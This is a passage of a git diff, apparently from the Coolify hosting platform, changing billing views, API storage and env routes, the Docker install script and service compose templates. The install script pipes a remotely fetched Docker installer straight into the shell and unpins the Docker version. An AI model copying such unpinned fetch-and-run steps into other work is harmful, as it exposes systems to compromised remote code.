@@ -99,9 +99,9 @@ class="fixed top-0 left-0 z-99 flex items-center justify-center w-screen h-scree
x-transition:leave-end="opacity-0 -translate-y-2 sm:scale-95"
class="relative w-full border rounded-sm min-w-full lg:min-w-[36rem] max-w-[48rem] max-h-[calc(100vh-2rem)] bg-neutral-100 border-neutral-400 dark:bg-base dark:border-coolgray-300 flex flex-col">
-
Next billing cycle
+
+ Next billing cycle
+ @if ($nextBillingDate)
+ · {{ $nextBillingDate }}
+ @endif
+
@@ -155,7 +160,7 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
- Total / month
+ Total / {{ $billingInterval === 'yearly' ? 'year' : 'month' }}
@@ -175,7 +180,7 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
warningMessage="This will update your subscription and charge the prorated amount to your payment method."
step2ButtonText="Confirm & Pay">
-
+
Update Server Limit
@@ -194,11 +199,10 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
- {{-- Billing, Refund & Cancellation --}}
+ {{-- Manage Subscription --}}
Manage Subscription
- {{-- Billing --}}
Manage Billing on Stripe
+
+
- {{-- Resume or Cancel --}}
+ {{-- Cancel Subscription --}}
+
+ Cancel Subscription
+
@if (currentTeam()->subscription->stripe_cancel_at_period_end)
Resume Subscription
@else
@@ -231,10 +240,18 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
confirmationLabel="Enter your team name to confirm"
shortConfirmationLabel="Team Name" step2ButtonText="Permanently Cancel" />
@endif
+
+ @if (currentTeam()->subscription->stripe_cancel_at_period_end)
+ Your subscription is set to cancel at the end of the billing period.
+ @endif
+
- {{-- Refund --}}
+ {{-- Refund --}}
+
+ Refund
+
@if ($refundCheckLoading)
-
+ Request Full Refund
@elseif ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end)
+ @else
+ Request Full Refund
@endif
-
- {{-- Contextual notes --}}
- @if ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end)
- Eligible for a full refund — {{ $refundDaysRemaining }} days remaining.
- @elseif ($refundAlreadyUsed)
- Refund already processed. Each team is eligible for one refund only.
- @endif
- @if (currentTeam()->subscription->stripe_cancel_at_period_end)
- Your subscription is set to cancel at the end of the billing period.
- @endif
+
+ @if ($refundCheckLoading)
+ Checking refund eligibility...
+ @elseif ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end)
+ Eligible for a full refund — {{ $refundDaysRemaining }} days remaining.
+ @elseif ($refundAlreadyUsed)
+ Refund already processed. Each team is eligible for one refund only.
+ @else
+ Not eligible for a refund.
+ @endif
+
diff --git a/routes/api.php b/routes/api.php
index 8b28177f3..0d3edcced 100644
--- a/routes/api.php
+++ b/routes/api.php
@@ -120,6 +120,10 @@
Route::patch('/applications/{uuid}/envs', [ApplicationsController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']);
Route::delete('/applications/{uuid}/envs/{env_uuid}', [ApplicationsController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']);
Route::get('/applications/{uuid}/logs', [ApplicationsController::class, 'logs_by_uuid'])->middleware(['api.ability:read']);
+ Route::get('/applications/{uuid}/storages', [ApplicationsController::class, 'storages'])->middleware(['api.ability:read']);
+ Route::post('/applications/{uuid}/storages', [ApplicationsController::class, 'create_storage'])->middleware(['api.ability:write']);
+ Route::patch('/applications/{uuid}/storages', [ApplicationsController::class, 'update_storage'])->middleware(['api.ability:write']);
+ Route::delete('/applications/{uuid}/storages/{storage_uuid}', [ApplicationsController::class, 'delete_storage'])->middleware(['api.ability:write']);
Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:deploy']);
Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:deploy']);
@@ -152,6 +156,17 @@
Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'delete_backup_by_uuid'])->middleware(['api.ability:write']);
Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', [DatabasesController::class, 'delete_execution_by_uuid'])->middleware(['api.ability:write']);
+ Route::get('/databases/{uuid}/storages', [DatabasesController::class, 'storages'])->middleware(['api.ability:read']);
+ Route::post('/databases/{uuid}/storages', [DatabasesController::class, 'create_storage'])->middleware(['api.ability:write']);
+ Route::patch('/databases/{uuid}/storages', [DatabasesController::class, 'update_storage'])->middleware(['api.ability:write']);
+ Route::delete('/databases/{uuid}/storages/{storage_uuid}', [DatabasesController::class, 'delete_storage'])->middleware(['api.ability:write']);
+
+ Route::get('/databases/{uuid}/envs', [DatabasesController::class, 'envs'])->middleware(['api.ability:read']);
+ Route::post('/databases/{uuid}/envs', [DatabasesController::class, 'create_env'])->middleware(['api.ability:write']);
+ Route::patch('/databases/{uuid}/envs/bulk', [DatabasesController::class, 'create_bulk_envs'])->middleware(['api.ability:write']);
+ Route::patch('/databases/{uuid}/envs', [DatabasesController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']);
+ Route::delete('/databases/{uuid}/envs/{env_uuid}', [DatabasesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']);
+
Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:deploy']);
Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:deploy']);
Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:deploy']);
@@ -163,6 +178,11 @@
Route::patch('/services/{uuid}', [ServicesController::class, 'update_by_uuid'])->middleware(['api.ability:write']);
Route::delete('/services/{uuid}', [ServicesController::class, 'delete_by_uuid'])->middleware(['api.ability:write']);
+ Route::get('/services/{uuid}/storages', [ServicesController::class, 'storages'])->middleware(['api.ability:read']);
+ Route::post('/services/{uuid}/storages', [ServicesController::class, 'create_storage'])->middleware(['api.ability:write']);
+ Route::patch('/services/{uuid}/storages', [ServicesController::class, 'update_storage'])->middleware(['api.ability:write']);
+ Route::delete('/services/{uuid}/storages/{storage_uuid}', [ServicesController::class, 'delete_storage'])->middleware(['api.ability:write']);
+
Route::get('/services/{uuid}/envs', [ServicesController::class, 'envs'])->middleware(['api.ability:read']);
Route::post('/services/{uuid}/envs', [ServicesController::class, 'create_env'])->middleware(['api.ability:write']);
Route::patch('/services/{uuid}/envs/bulk', [ServicesController::class, 'create_bulk_envs'])->middleware(['api.ability:write']);
diff --git a/routes/web.php b/routes/web.php
index 26863aa17..27763f121 100644
--- a/routes/web.php
+++ b/routes/web.php
@@ -140,6 +140,7 @@
Route::prefix('storages')->group(function () {
Route::get('/', StorageIndex::class)->name('storage.index');
Route::get('/{storage_uuid}', StorageShow::class)->name('storage.show');
+ Route::get('/{storage_uuid}/resources', StorageShow::class)->name('storage.resources');
});
Route::prefix('shared-variables')->group(function () {
Route::get('/', SharedVariablesIndex::class)->name('shared-variables.index');
diff --git a/scripts/install.sh b/scripts/install.sh
index b014a3d24..2e1dab326 100755
--- a/scripts/install.sh
+++ b/scripts/install.sh
@@ -20,7 +20,7 @@ DATE=$(date +"%Y%m%d-%H%M%S")
OS_TYPE=$(grep -w "ID" /etc/os-release | cut -d "=" -f 2 | tr -d '"')
ENV_FILE="/data/coolify/source/.env"
-DOCKER_VERSION="27.0"
+DOCKER_VERSION="latest"
# TODO: Ask for a user
CURRENT_USER=$USER
@@ -499,13 +499,10 @@ fi
install_docker() {
set +e
- curl -s https://releases.rancher.com/install-docker/${DOCKER_VERSION}.sh | sh 2>&1 || true
+ curl -fsSL https://get.docker.com | sh 2>&1 || true
if ! [ -x "$(command -v docker)" ]; then
- curl -s https://get.docker.com | sh -s -- --version ${DOCKER_VERSION} 2>&1
- if ! [ -x "$(command -v docker)" ]; then
- echo "Automated Docker installation failed. Trying manual installation."
- install_docker_manually
- fi
+ echo "Automated Docker installation failed. Trying manual installation."
+ install_docker_manually
fi
set -e
}
@@ -548,16 +545,6 @@ if ! [ -x "$(command -v docker)" ]; then
echo " - Docker is not installed. Installing Docker. It may take a while."
getAJoke
case "$OS_TYPE" in
- "almalinux")
- dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1
- dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1
- if ! [ -x "$(command -v docker)" ]; then
- echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
- exit 1
- fi
- systemctl start docker >/dev/null 2>&1
- systemctl enable docker >/dev/null 2>&1
- ;;
"alpine" | "postmarketos")
apk add docker docker-cli-compose >/dev/null 2>&1
rc-update add docker default >/dev/null 2>&1
@@ -569,8 +556,9 @@ if ! [ -x "$(command -v docker)" ]; then
fi
;;
"arch")
- pacman -Sy docker docker-compose --noconfirm >/dev/null 2>&1
+ pacman -Syu --noconfirm --needed docker docker-compose >/dev/null 2>&1
systemctl enable docker.service >/dev/null 2>&1
+ systemctl start docker.service >/dev/null 2>&1
if ! [ -x "$(command -v docker)" ]; then
echo " - Failed to install Docker with pacman. Try to install it manually."
echo " Please visit https://wiki.archlinux.org/title/docker for more information."
@@ -581,7 +569,7 @@ if ! [ -x "$(command -v docker)" ]; then
dnf install docker -y >/dev/null 2>&1
DOCKER_CONFIG=${DOCKER_CONFIG:-/usr/local/lib/docker}
mkdir -p $DOCKER_CONFIG/cli-plugins >/dev/null 2>&1
- curl -sL "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
+ curl -fsSL "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
chmod +x $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
systemctl start docker >/dev/null 2>&1
systemctl enable docker >/dev/null 2>&1
@@ -591,34 +579,28 @@ if ! [ -x "$(command -v docker)" ]; then
exit 1
fi
;;
- "centos" | "fedora" | "rhel" | "tencentos")
- if [ -x "$(command -v dnf5)" ]; then
- # dnf5 is available
- dnf config-manager addrepo --from-repofile=https://download.docker.com/linux/$OS_TYPE/docker-ce.repo --overwrite >/dev/null 2>&1
- else
- # dnf5 is not available, use dnf
- dnf config-manager --add-repo=https://download.docker.com/linux/$OS_TYPE/docker-ce.repo >/dev/null 2>&1
- fi
+ "almalinux" | "tencentos")
+ dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1
dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1
+ systemctl start docker >/dev/null 2>&1
+ systemctl enable docker >/dev/null 2>&1
if ! [ -x "$(command -v docker)" ]; then
echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
exit 1
fi
- systemctl start docker >/dev/null 2>&1
- systemctl enable docker >/dev/null 2>&1
;;
- "ubuntu" | "debian" | "raspbian")
+ "ubuntu" | "debian" | "raspbian" | "centos" | "fedora" | "rhel" | "sles")
install_docker
if ! [ -x "$(command -v docker)" ]; then
- echo " - Automated Docker installation failed. Trying manual installation."
- install_docker_manually
+ echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
+ exit 1
fi
;;
*)
install_docker
if ! [ -x "$(command -v docker)" ]; then
- echo " - Automated Docker installation failed. Trying manual installation."
- install_docker_manually
+ echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
+ exit 1
fi
;;
esac
@@ -627,6 +609,19 @@ else
echo " - Docker is installed."
fi
+# Verify minimum Docker version
+MIN_DOCKER_VERSION=24
+INSTALLED_DOCKER_VERSION=$(docker version --format '{{.Server.Version}}' 2>/dev/null | cut -d. -f1)
+if [ -z "$INSTALLED_DOCKER_VERSION" ]; then
+ echo " - WARNING: Could not determine Docker version. Please ensure Docker $MIN_DOCKER_VERSION+ is installed."
+elif [ "$INSTALLED_DOCKER_VERSION" -lt "$MIN_DOCKER_VERSION" ]; then
+ echo " - ERROR: Docker version $INSTALLED_DOCKER_VERSION is too old. Coolify requires Docker $MIN_DOCKER_VERSION or newer."
+ echo " Please upgrade Docker: https://docs.docker.com/engine/install/"
+ exit 1
+else
+ echo " - Docker version $(docker version --format '{{.Server.Version}}' 2>/dev/null) meets minimum requirement ($MIN_DOCKER_VERSION+)."
+fi
+
log_section "Step 4/9: Checking Docker configuration"
echo "4/9 Checking Docker configuration..."
diff --git a/templates/compose/booklore.yaml b/templates/compose/booklore.yaml
index fddde8de0..a26e52932 100644
--- a/templates/compose/booklore.yaml
+++ b/templates/compose/booklore.yaml
@@ -1,3 +1,4 @@
+# ignore: true
# documentation: https://booklore.org/docs/getting-started
# slogan: Booklore is an open-source library management system for your digital book collection.
# tags: media, books, kobo, epub, ebook, KOreader
diff --git a/templates/compose/espocrm.yaml b/templates/compose/espocrm.yaml
new file mode 100644
index 000000000..6fec260c4
--- /dev/null
+++ b/templates/compose/espocrm.yaml
@@ -0,0 +1,75 @@
+# documentation: https://docs.espocrm.com
+# slogan: EspoCRM is a free and open-source CRM platform.
+# category: cms
+# tags: crm, self-hosted, open-source, workflow, automation, project management
+# logo: svgs/espocrm.svg
+# port: 80
+
+services:
+ espocrm:
+ image: espocrm/espocrm:9
+ environment:
+ - SERVICE_URL_ESPOCRM
+ - ESPOCRM_ADMIN_USERNAME=${ESPOCRM_ADMIN_USERNAME:-admin}
+ - ESPOCRM_ADMIN_PASSWORD=${SERVICE_PASSWORD_ADMIN}
+ - ESPOCRM_DATABASE_PLATFORM=Mysql
+ - ESPOCRM_DATABASE_HOST=espocrm-db
+ - ESPOCRM_DATABASE_NAME=${MARIADB_DATABASE:-espocrm}
+ - ESPOCRM_DATABASE_USER=${SERVICE_USER_MARIADB}
+ - ESPOCRM_DATABASE_PASSWORD=${SERVICE_PASSWORD_MARIADB}
+ - ESPOCRM_SITE_URL=${SERVICE_URL_ESPOCRM}
+ volumes:
+ - espocrm:/var/www/html
+ healthcheck:
+ test: ["CMD", "curl", "-f", "http://127.0.0.1:80"]
+ interval: 2s
+ start_period: 60s
+ timeout: 10s
+ retries: 15
+ depends_on:
+ espocrm-db:
+ condition: service_healthy
+
+ espocrm-daemon:
+ image: espocrm/espocrm:9
+ container_name: espocrm-daemon
+ volumes:
+ - espocrm:/var/www/html
+ restart: always
+ entrypoint: docker-daemon.sh
+ depends_on:
+ espocrm:
+ condition: service_healthy
+
+ espocrm-websocket:
+ image: espocrm/espocrm:9
+ container_name: espocrm-websocket
+ environment:
+ - SERVICE_URL_ESPOCRM_WEBSOCKET_8080
+ - ESPOCRM_CONFIG_USE_WEB_SOCKET=true
+ - ESPOCRM_CONFIG_WEB_SOCKET_URL=$SERVICE_URL_ESPOCRM_WEBSOCKET
+ - ESPOCRM_CONFIG_WEB_SOCKET_ZERO_M_Q_SUBSCRIBER_DSN=tcp://*:7777
+ - ESPOCRM_CONFIG_WEB_SOCKET_ZERO_M_Q_SUBMISSION_DSN=tcp://espocrm-websocket:7777
+ volumes:
+ - espocrm:/var/www/html
+ restart: always
+ entrypoint: docker-websocket.sh
+ depends_on:
+ espocrm:
+ condition: service_healthy
+
+ espocrm-db:
+ image: mariadb:11.8
+ environment:
+ - MARIADB_DATABASE=${MARIADB_DATABASE:-espocrm}
+ - MARIADB_USER=${SERVICE_USER_MARIADB}
+ - MARIADB_PASSWORD=${SERVICE_PASSWORD_MARIADB}
+ - MARIADB_ROOT_PASSWORD=${SERVICE_PASSWORD_ROOT}
+ volumes:
+ - espocrm-db:/var/lib/mysql
+ healthcheck:
+ test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"]
+ interval: 20s
+ start_period: 10s
+ timeout: 10s
+ retries: 3
diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json
index bc05073d1..f22a2ab53 100644
--- a/templates/service-templates-latest.json
+++ b/templates/service-templates-latest.json
@@ -818,7 +818,7 @@
"databasus": {
"documentation": "https://databasus.com/installation?utm_source=coolify.io",
"slogan": "Databasus is a free, open source and self-hosted tool to backup PostgreSQL, MySQL, and MongoDB.",
- "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYyLjE4LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9EQVRBQkFTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAnZGF0YWJhc3VzLWRhdGE6L2RhdGFiYXN1cy1kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6NDAwNS9hcGkvdjEvc3lzdGVtL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiA1Cg==",
+ "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYzLjE2LjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9EQVRBQkFTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAnZGF0YWJhc3VzLWRhdGE6L2RhdGFiYXN1cy1kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6NDAwNS9hcGkvdjEvc3lzdGVtL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiA1Cg==",
"tags": [
"postgres",
"mysql",
@@ -1951,7 +1951,7 @@
"heyform": {
"documentation": "https://docs.heyform.net/open-source/self-hosting?utm_source=coolify.io",
"slogan": "Allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. No coding skills required.",
- "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSEVZRk9STV84MDAwCiAgICAgIC0gJ0FQUF9IT01FUEFHRV9VUkw9JHtTRVJWSUNFX1VSTF9IRVlGT1JNfScKICAgICAgLSAnU0VTU0lPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TRVNTSU9OfScKICAgICAgLSAnRk9STV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0ZPUk19JwogICAgICAtICdNT05HT19VUkk9bW9uZ29kYjovL21vbmdvOjI3MDE3L2hleWZvcm0nCiAgICAgIC0gUkVESVNfSE9TVD1rZXlkYgogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfS0VZREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo4MDAwIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBtb25nbzoKICAgIGltYWdlOiAncGVyY29uYS9wZXJjb25hLXNlcnZlci1tb25nb2RiOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0tbW9uZ28tZGF0YTovZGF0YS9kYicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiZWNobyAnb2snID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAga2V5ZGI6CiAgICBpbWFnZTogJ2VxYWxwaGEva2V5ZGI6bGF0ZXN0JwogICAgY29tbWFuZDogJ2tleWRiLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0tFWURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWtleWRiLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0ga2V5ZGItY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==",
+ "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSEVZRk9STV85MTU3CiAgICAgIC0gJ0FQUF9IT01FUEFHRV9VUkw9JHtTRVJWSUNFX1VSTF9IRVlGT1JNfScKICAgICAgLSAnU0VTU0lPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TRVNTSU9OfScKICAgICAgLSAnRk9STV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0ZPUk19JwogICAgICAtICdNT05HT19VUkk9bW9uZ29kYjovL21vbmdvOjI3MDE3L2hleWZvcm0nCiAgICAgIC0gUkVESVNfSE9TVD1rZXlkYgogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfS0VZREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo5MTU3IHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBtb25nbzoKICAgIGltYWdlOiAncGVyY29uYS9wZXJjb25hLXNlcnZlci1tb25nb2RiOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0tbW9uZ28tZGF0YTovZGF0YS9kYicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiZWNobyAnb2snID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAga2V5ZGI6CiAgICBpbWFnZTogJ2VxYWxwaGEva2V5ZGI6bGF0ZXN0JwogICAgY29tbWFuZDogJ2tleWRiLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0tFWURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWtleWRiLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0ga2V5ZGItY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==",
"tags": [
"form",
"builder",
@@ -1965,7 +1965,7 @@
"category": "productivity",
"logo": "svgs/heyform.svg",
"minversion": "0.0.0",
- "port": "8000"
+ "port": "9157"
},
"homarr": {
"documentation": "https://homarr.dev?utm_source=coolify.io",
@@ -2041,6 +2041,21 @@
"minversion": "0.0.0",
"port": "80"
},
+ "imgcompress": {
+ "documentation": "https://imgcompress.karimzouine.com?utm_source=coolify.io",
+ "slogan": "Offline image compression, conversion, and AI background removal for Docker homelabs.",
+ "compose": "c2VydmljZXM6CiAgaW1nY29tcHJlc3M6CiAgICBpbWFnZTogJ2thcmltejEvaW1nY29tcHJlc3M6MC42LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9JTUdDT01QUkVTU181MDAwCiAgICAgIC0gJ0RJU0FCTEVfTE9HTz0ke0RJU0FCTEVfTE9HTzotZmFsc2V9JwogICAgICAtICdESVNBQkxFX1NUT1JBR0VfTUFOQUdFTUVOVD0ke0RJU0FCTEVfU1RPUkFHRV9NQU5BR0VNRU5UOi1mYWxzZX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwo=",
+ "tags": [
+ "compress",
+ "photo",
+ "server",
+ "metadata"
+ ],
+ "category": "media",
+ "logo": "svgs/imgcompress.png",
+ "minversion": "0.0.0",
+ "port": "5000"
+ },
"immich": {
"documentation": "https://immich.app/docs/overview/introduction?utm_source=coolify.io",
"slogan": "Self-hosted photo and video management solution.",
@@ -2417,6 +2432,19 @@
"minversion": "0.0.0",
"port": "3000"
},
+ "librespeed": {
+ "documentation": "https://github.com/librespeed/speedtest?utm_source=coolify.io",
+ "slogan": "Self-hosted lightweight Speed Test.",
+ "compose": "c2VydmljZXM6CiAgbGlicmVzcGVlZDoKICAgIGNvbnRhaW5lcl9uYW1lOiBsaWJyZXNwZWVkCiAgICBpbWFnZTogJ2doY3IuaW8vbGlicmVzcGVlZC9zcGVlZHRlc3Q6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTElCUkVTUEVFRF84MgogICAgICAtIE1PREU9c3RhbmRhbG9uZQogICAgICAtIFRFTEVNRVRSWT1mYWxzZQogICAgICAtIERJU1RBTkNFPWttCiAgICAgIC0gV0VCUE9SVD04MgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdjdXJsIDEyNy4wLjAuMTo4MiB8fCBleGl0IDEnCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIGludGVydmFsOiAxbTBzCiAgICAgIHJldHJpZXM6IDEK",
+ "tags": [
+ "speedtest",
+ "internet-speed"
+ ],
+ "category": "devtools",
+ "logo": "svgs/librespeed.png",
+ "minversion": "0.0.0",
+ "port": "82"
+ },
"libretranslate": {
"documentation": "https://libretranslate.com/docs/?utm_source=coolify.io",
"slogan": "Free and open-source machine translation API, entirely self-hosted.",
@@ -4099,7 +4127,7 @@
"seaweedfs": {
"documentation": "https://github.com/seaweedfs/seaweedfs?utm_source=coolify.io",
"slogan": "SeaweedFS is a simple and highly scalable distributed file system. Compatible with S3, with an admin web interface.",
